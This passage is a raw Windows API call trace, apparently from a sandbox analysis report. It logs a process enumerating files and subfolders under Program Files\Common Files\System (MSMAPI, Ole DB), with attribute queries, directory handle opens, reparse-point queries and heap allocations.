nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0244.935] GetLastError () returned 0x12 [0244.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.936] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.936] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.936] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0244.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.936] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI" (normalized: "c:\\program files\\common files\\system\\msmapi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0244.940] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x927e90 [0244.940] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x927e90, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x927e90, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.940] NtClose (Handle=0x1bc) returned 0x0 [0244.940] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.940] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.940] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.940] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0244.940] GetLastError () returned 0x12 [0244.941] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0244.941] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.941] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.941] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0244.941] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.941] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x927e90 [0244.941] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x927e90, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x927e90, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.941] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.941] NtClose (Handle=0x1bc) returned 0x0 [0244.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925c90 [0244.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925d18 [0244.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0244.942] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.942] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0244.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925c08 [0244.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925c08) returned 1 [0244.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925c08 [0244.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925c08) returned 1 [0244.942] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925c08 [0244.942] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925c08) returned 1 [0244.942] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0244.942] GetLastError () returned 0x12 [0244.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0244.942] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.942] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.942] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0244.942] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0244.942] GetLastError () returned 0x12 [0244.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925d18) returned 1 [0244.943] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925c90) returned 1 [0244.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.943] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0244.943] GetLastError () returned 0x12 [0244.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.943] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.943] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.943] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0244.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0244.943] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.943] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x927e90 [0244.944] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x927e90, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x927e90, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.944] NtClose (Handle=0x170) returned 0x0 [0244.944] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.944] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.944] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0244.970] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.970] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.970] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0244.970] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.970] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.970] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.970] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.970] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.970] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.970] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0244.970] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.970] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.970] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.971] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.971] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.972] RtlAllocateHeap 